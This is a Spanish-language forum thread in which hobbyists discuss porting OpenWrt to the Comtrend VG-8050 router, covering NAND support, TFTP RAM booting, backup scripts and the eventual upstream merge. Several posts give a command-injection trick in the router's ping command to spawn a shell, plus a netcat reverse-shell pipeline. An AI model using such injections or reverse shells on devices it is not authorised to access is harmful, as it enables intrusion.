Este subforo está dedicado a OpenWRT. Para consultas sobre los firms originales de los routers hay muchos otros foros y wikis que tratan esos temas.
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: lopz_ en 20-11-2015, 22:26 (Viernes)
Buenas, estimados cracks del foro....

¿este tema sigue parado no? o se ha logrado algo.... Tengo este router en casa me gustaría poder meterle openwrt, hacerle el USBMOD, y poder sacarle de verdad provecho, (ya que me ocupa medio mueble) que por lo menos lo valga jaja.

Salu2
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: farconada en 07-01-2016, 10:52 (Jueves)
A mi también me gustaría saber como esta el tema, tengo ese trasto en casa y aunque tengo pensando comprarme un WDR4300 me gustaría poder sacarle algo de partido al VG-8050
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Noltari en 15-01-2016, 12:40 (Viernes)
Buenas, estimados cracks del foro....

¿este tema sigue parado no? o se ha logrado algo.... Tengo este router en casa me gustaría poder meterle openwrt, hacerle el USBMOD, y poder sacarle de verdad provecho, (ya que me ocupa medio mueble) que por lo menos lo valga jaja.

Salu2

A mi también me gustaría saber como esta el tema, tengo ese trasto en casa y aunque tengo pensando comprarme un WDR4300 me gustaría poder sacarle algo de partido al VG-8050

Buenas,

Pues el único progreso que he conseguido hacer últimamente es que funcione la interrupción para leer/escribir en la NAND, por lo que ya no hay que hacer polling.

Por si alguien le quiere echar un ojo está en la rama bmips-devel de mi repositorio en Github:
https://github.com/openwrt-es/openwrt/tree/bmips-devel/target/linux/bmips
Aun así, faltaría conseguir crear un firmware compatible con la estructura adecuada para la NAND, que es un poco extraña.
Este paso es bastante crítico, ya que hacerlo mal implica quedarnos con un pisapapeles bastante grande, puesto que en el firmware ha de ir incluido un second-stage CFE.

Por otro lado, también conseguí que funcionara el switch. Para el que lo quiera probar, lo tiene disponible en la rama brcm63xx-devel de mi repositorio:
https://github.com/openwrt-es/openwrt/tree/brcm63xx-devel/target/linux/brcm63xx

P.D: son pequeños avances que se van haciendo, pero no por ello menos importantes.
Hay que tener en cuenta que nunca ha habido ningún router con NAND en la plataforma BCM63xx y la estructura utilizada por Broadcom no ayuda en absoluto.

Saludos!
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Tki2000 en 15-01-2016, 13:46 (Viernes)
P.D: son pequeños avances que se van haciendo, pero no por ello menos importantes.

Las cosas siempre son sencillas.
Lo difícil es, que hacerlo sencillo, muchas veces, es muy complicado.
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Tak-MK en 03-05-2016, 12:47 (Martes)

Hace unos pocos días Movistar ha actualizado automáticamente el firmware del router a la versión C08_R10.

Código: [Seleccionar]
Device Info
Board ID: 963169P-1861N5
Software Version: SB01-S412TLF-C08_R10
Bootloader (CFE) Version: 1.0.38-112.70-14
Wireless Driver Version: 6.30.102.7.cpe4.12L04.1

El "truco" para conseguir una shell ya no funciona:

Código: [Seleccionar]
> ping echo `/bin/sh > /dev/tty`
Warning: operator ` is not supported!

Seguramente la solución del error haya venido de Comtrend y no de Movistar...

Saludos!

Me he registrado prácticamente para responder esto.

Podéis sustituir la función que hacen las `` por los actuales $(); a mí me ha funcionado.
Código: [Seleccionar]
ping echo $(/bin/sh > /dev/tty)
¡Saludos!
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: gadLinux en 21-08-2016, 19:36 (Domingo)
¿Cómo lo véis? ¿Chungo?

La verdad es que el router tiene muy buena pinta. Con el mod de USB, las 128MB ram y el switch dedicado ethernet parece una joyita. Yo lo quiero para OpenFlow y sería la leche poder arrancar openwrt.

Por lo que he visto, hay conexión con la NAND y el switch. ¿Qué faltaría para el soporte completo de OpenWRT?
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: quiqueal en 22-08-2016, 21:40 (Lunes)

Hace unos pocos días Movistar ha actualizado automáticamente el firmware del router a la versión C08_R10.

Código: [Seleccionar]
Device Info
Board ID: 963169P-1861N5
Software Version: SB01-S412TLF-C08_R10
Bootloader (CFE) Version: 1.0.38-112.70-14
Wireless Driver Version: 6.30.102.7.cpe4.12L04.1

El "truco" para conseguir una shell ya no funciona:

Código: [Seleccionar]
> ping echo `/bin/sh > /dev/tty`
Warning: operator ` is not supported!

Seguramente la solución del error haya venido de Comtrend y no de Movistar...

Saludos!

Me he registrado prácticamente para responder esto.

Podéis sustituir la función que hacen las `` por los actuales $(); a mí me ha funcionado.
Código: [Seleccionar]
ping echo $(/bin/sh > /dev/tty)
¡Saludos!
¿Ha alguien se le ocurre un forma de lanzar una segunda instancia de telnet ssh que arranque el shel directamente?

Con el método propuesto, funciona pero hay un temporizador muy molesto.
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: quiqueal en 23-08-2016, 23:14 (Martes)
He encontrado una solución intermedia. Haciendo un reverse shell con:

Ejecutando esto en el ordenador
nc -Lvp 9998 -s 0.0.0.0  para la salida
nc -Lvp 9999 -s 0.0.0.0 para la entrada

Y esto en el router con la shell iniciada mediante ping echo $(/bin/sh > /dev/tty)

nc ip_ordenador 9998 | sh | nc ip_ordenador 9999

Así se puede investigar mas tranquilamente aunque al final la conexión temporiza.
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: tiagorl en 06-10-2016, 17:09 (Jueves)
¿Teneis el SB01-S412TLF-C09_R03?

Un saludo

Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: lucho en 06-12-2016, 09:31 (Martes)
Buenas compis, entiendo que aún no se puede instalar openWRT en este cacharro, pero ¿se pueden probar algunas cosillas? ¿Como hago para probar las cositas que Noltari ha conseguido? (ya tengo clonado el repo de github)

Muchas gracias.
Un saludo.
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: danitool en 06-12-2016, 14:25 (Martes)
Buenas compis, entiendo que aún no se puede instalar openWRT en este cacharro, pero ¿se pueden probar algunas cosillas? ¿Como hago para probar las cositas que Noltari ha conseguido? (ya tengo clonado el repo de github)

Muchas gracias.
Un saludo.

Me imagino que has de compilar un firmware RAM, de esta forma se carga todo el sistema en RAM sin tocar la flash. Tendrías un Openwrt totalmente funcional, pero en cuanto apagases el router tendrías que volver a cargarlo en RAM manualmente. Para cargar manualmente un firmware RAM en CFE necesitas acceso por puerto serie para meterle el comando
Código: [Seleccionar]
r 192.168.1.35:firmware-RAM.elfy un servidor tftp en tu PC (en este caso con la ip 192.168.1.35) para que CFE coja ese firmware RAM de ahí

Si el CFE que trae tiene las opciones habituales, podrías especificarle que cargue siempre el sistema via TFTP. Así teniendo un servidor TFTP permanentemente activo en tu red, arrancaría siempre con Openwrt, eso sí en principio no guardaría cambios ni configuraciones. Tendrías que compilar el firmware ya configurado si es que lo quisieses para algún propósito específico. Ignoro si se podría montar la NAND con una particion para guardar paquetes y configuraciones, supongo que sí. Sería desde luego una forma bastante geek para usar el router con Openwrt

Poco más puedo decir, ya que no dispongo de este router ni ningún otro con este SoC (BCM63168).

Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: lucho en 06-12-2016, 20:07 (Martes)
Muchas gracias danitool, creo que aun me quedan muchas cosas por aprender antes de poder hacer lo que comentas. Buscando más  información sobre el soc he encontrado esto:

https://wiki.openwrt.org/doc/hardware/soc/soc.broadcom.bcm63xx

Aquí se comenta que con la versión de kernel 4.2 ya hay soporte para flash NAND... si he entendido bien creo que ya se podría almacenar algo de info en el chip... creo que este era uno de los problemas que tenía Noltari en su parche... pero no tengo mucha idea... igual me lo he imaginado.@Noltari, ¿algo de luz sobre este tema?

Muchas gracias.
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: rgallosog en 15-02-2017, 16:20 (Miércoles)
Buenas, respecto a este tema yo ya llevo utilizándolo bastante tiempo como el core/fw de la red de mi casa y lo que he hecho es compilarlo con una configuración preestablecida y una carpeta en la raíz /confiscr que contiene dos scripts: getconfig.sh y putconfig.sh. Luego en la configuración inicial de la que hablo en el archivo rc.local esta añadido sh /confiscr/getconfig.sh y en el crontap está que cada 30 min ejecute el script /confiscr/putconfig.sh, De este modo cada 30 min se salva la última configuración al tftp sobrescribiendo la anterior y cuando el router inicia aplica la última config que está en el tftp.
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: rgallosog en 15-02-2017, 16:47 (Miércoles)
confget:

#!/bin/sh
tftp {ip} -g -r etc.tar.gz -l /tmp/etc.tar.gz
tar xzvf /tmp/etc.tar.gz -C /
rm /tmp/etc.tar.gz
sleep 3
ntfs-3g /dev/sda1 /mnt/
/etc/init.d/network restart
sleep 5
/etc/init.d/firewall restart
/etc/init.d/dnsmasq restart
/etc/init.d/uhttpd restart
/etc/init.d/ddns restart
/etc/init.d/cron restart
/etc/init.d/collectd restart
/etc/init.d/dropbear restart
/etc/init.d/led restart
/etc/init.d/luci_statistics restart
/etc/init.d/qos restart
/etc/init.d/tinyproxy restart
/etc/init.d/vnstat restart
/etc/init.d/transmission restart
/etc/init.d/rpcd restart
/etc/init.d/sysntpd restart


confput:

#!/bin/sh
sysupgrade -l > /tmp/listsave.dat
#tar czvfp /tmp/etc.tar.gz /etc/
tar czvfp /tmp/etc.tar.gz -T /tmp/listsave.dat
tftp 192.168.2.169 -p -l /tmp/etc.tar.gz -r etc.tar.gz
rm /tmp/etc.tar.gz
rm /tmp/listsave.dat

rc.local

# Put your custom commands here that should be executed once
# the system init finished. By default this file does nothing.
#ntfs-3g /dev/sda1 /mnt/
sh /confsh/confget.sh
exit 0

crontab:

*/30 * * * * sh /confsh/confsave.sh
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: lucho en 18-02-2017, 07:40 (Sábado)
Muchas gracias rgallosog.

Hice varias pruebas tratando de compilar alguno de los firmwares por defecto y no conseguí que ninguno terminara de compilar... tengo que retomar el tema y probar de nuevo. Soy bastante newbie en este tema.

¿No tendrás el fichero de configuración que usaste para compilarlo?

Muchas gracias!!!
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: rgallosog en 18-02-2017, 22:57 (Sábado)
Buenas, adjunto link de descarga con mi .config, tambien he añadido un compilado (vmlinux) para ram y algunas notas.
Es probable que no te sirva mi .config poque yo lo que he hecho es descargarme las fuentes de Noltari y la última versión de las de OPENWRT del sitio oficial y he adaptado el target desde las fuentes de Noltari a estas. Los cambios necesarios son pocos y es lo que yo te recomiendo que hagas. Si esperas unos días intento hacer algun manual de los cambios a hacer para adaptar el target porque me tomo algunas horas la verdad y cometí el error de no documentarlo, no es un simple copia y pega ya que han cambiado algunas llamadas.
SALUDOS Y ESPERO FUNCIONE

https://mega.nz/#!XhlS2YSR!X8NzsgnvNDVd7xAMC27vjDMU2ZEjHcO-BqwcGc1TkAg
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: rgallosog en 28-02-2017, 13:28 (Martes)
Buenas, lo siento pero no he tenido tiempo para detallar todos los cambios, así que añado link de descarga con mi carpeta target completa y un manual para utilizarla, el manual está orientado a alguien que nunca ha compilado OpenWrt si ya tienes conocimientos mínimos no es necesario, para ver todos los detalles que cambian hacer un “diff” de target/ ya sea de la fuentes de Noltari o las oficiales.

Un saludo y espero funcione.



https://mega.nz/#!D9kyASLA!e1g4L0TrI_OeFU4AhFOP3VAEW6MFG5LNRWZAdsQ3Hlo
Título: Re: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: lucho en 28-02-2017, 14:17 (Martes)
Buenas, lo siento pero no he tenido tiempo para detallar todos los cambios, así que añado link de descarga con mi carpeta target completa y un manual para utilizarla, el manual está orientado a alguien que nunca ha compilado OpenWrt si ya tienes conocimientos mínimos no es necesario, para ver todos los detalles que cambian hacer un “diff” de target/ ya sea de la fuentes de Noltari o las oficiales.

Un saludo y espero funcione.



https://mega.nz/#!D9kyASLA!e1g4L0TrI_OeFU4AhFOP3VAEW6MFG5LNRWZAdsQ3Hlo
que p... crack estas hecho, en cuanto pueda le pego un repaso!!!((estoy hasta arriba de curro).

Gracias!!!
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: rgallosog en 10-03-2017, 19:07 (Viernes)
PUES DE CRACK NADA, COPIAR Y PEGAR NO TIENE MERITO.
ESTOY INTENTANDO HACER UN COMPILADO QUE CUANDO INICIE ME MONTE UNA PARTICIÓN EXT4 DEL DISCO CONECTADO POR USB COMO ROOTFS (PERO NO LO HE LOGRADO TODAVÍA) LO QUE CREO QUE PODRÍA SER UNA MEJOR SOLUCIÓN. SI ALGUIEN LO HA LOGRADO ESTARÍA BIEN SABER COMO.

SALUDOS.
Título: Re: [Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: pasko en 26-05-2017, 17:57 (Viernes)
Hola a todos.

Después de unos cuantos años con mi comtrend 5813n con Openwrt, el jueves pasado dejó de funcionar y me lo han cambiado por un VG8050.
He visto que no hay soporte para este equipo en Openwrt (todavía) por lo que he ido replicando las funcionalidades de mi anterior router con el firmware original más o menos.

Pero me falta una que estamos notando mucho en casa: el filtro de publicidad vía dnsmasq.

El problema que encuentro es que no puedo actualizar la lista de hosts (son casi más de 10.000) en el VG8050 de una manera más o menos automática. Lo pregunto porque vía consola telnet no es posible ya que se cuelga la sesión.
Otra posibilidad sería por la vía del servidor ssh dropbear, pero no consigo acceder (para luego copiar la lista de hosts con scp)

La versión que me han dejado instalada (el portal Alejandra dice que está OK) es la SB01-S412TLF-C09_R03.

Y para terminar las preguntas:
1.- ¿Alguien ha podido conectarse vía ssh con el firmware original?
2.- ¿Tenéis alguna sugerencia para probar algo y conseguir acceder vía ssh?

Saludos y muchas gracias por vuestro trabajo. :)

P.D: Estos son algunos enlaces para el software de bloqueo de publicidad en el router:
https://github.com/openwrt/packages/tree/master/net/adblock/files
https://gist.github.com/teffalump/7227752
Título: Re:[Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: Noltari en 19-05-2020, 10:47 (Martes)
Buenas,

Acabo de integrar el soporte para este router en el repo oficial de OpenWrt:
https://git.openwrt.org/?p=openwrt/openwrt.git;a=commitdiff;h=daee6b466146fc20505adb2ef9f4be831f96d972

Dentro de poco debería haber snapshots aquí:
https://downloads.openwrt.org/snapshots/targets/bcm63xx/smp/

Saludos!
Título: Re:[Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: ec en 11-06-2020, 19:29 (Jueves)
Buenas,

Acabo de integrar el soporte para este router en el repo oficial de OpenWrt:
https://git.openwrt.org/?p=openwrt/openwrt.git;a=commitdiff;h=daee6b466146fc20505adb2ef9f4be831f96d972

Dentro de poco debería haber snapshots aquí:
https://downloads.openwrt.org/snapshots/targets/bcm63xx/smp/

Saludos!

Increíble. Hacía tiempo que no me pasaba por el foro y he visto esto... me he re-registrado solo para agradecer a Noltari todo el curro realizado.  ;D
Antes tenía un ladrillo de router VG-8050 guardado por ahí... ahora sigue siendo un ladrillo (por el tamaño) pero tras meterle OpenWrt puedo utilizarlo para jugar cuando tenga un rato.

Lo dicho, gracias a todos los que aportan sus conocimientos, tiempo y esfuerzo para conseguir cosas como esta.

Título: Re:[Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: ti en 17-06-2020, 01:52 (Miércoles)
Buenas,

Acabo de integrar el soporte para este router en el repo oficial de OpenWrt:
https://git.openwrt.org/?p=openwrt/openwrt.git;a=commitdiff;h=daee6b466146fc20505adb2ef9f4be831f96d972

Dentro de poco debería haber snapshots aquí:
https://downloads.openwrt.org/snapshots/targets/bcm63xx/smp/

Saludos!

Llevo entrando en este hilo desde hace por lo menos 3 años que me pusieron este router, por casualidad mirando el git de OpenWRT he visto algún commit del VG-8050 y he venido directo, darte las gracias y la enhorabuena por tu excelente trabajo desinteresado.

Es increible que podamos sacarle partido finalmente a este router aunque sea con Broadcom 63xx limitado.
Título: Re:[Desarrollo] OpenWrt en Comtrend VG-8050
Publicado por: sergisat en 22-06-2020, 17:18 (Lunes)
Buenas,

Acabo de integrar el soporte para este router en el repo oficial de OpenWrt:
https://git.openwrt.org/?p=openwrt/openwrt.git;a=commitdiff;h=daee6b466146fc20505adb2ef9f4be831f96d972

Dentro de poco debería haber snapshots aquí:
https://downloads.openwrt.org/snapshots/targets/bcm63xx/smp/

Saludos!

Muchisimas gracias Noltari!!!!

Yo también entraba desde hacia mucho tiempo ( me he registrado ahora para agradecértelo) y tenia uno de estos ahí parado porque era un trasto.

Por lo que veo la wifi de este "cacharro" no es usable.

Si alguno ha probado ya alguna snapshot que hay, ¿podéis informar de como va la wifi?

Un saludo y gracias de nuevo.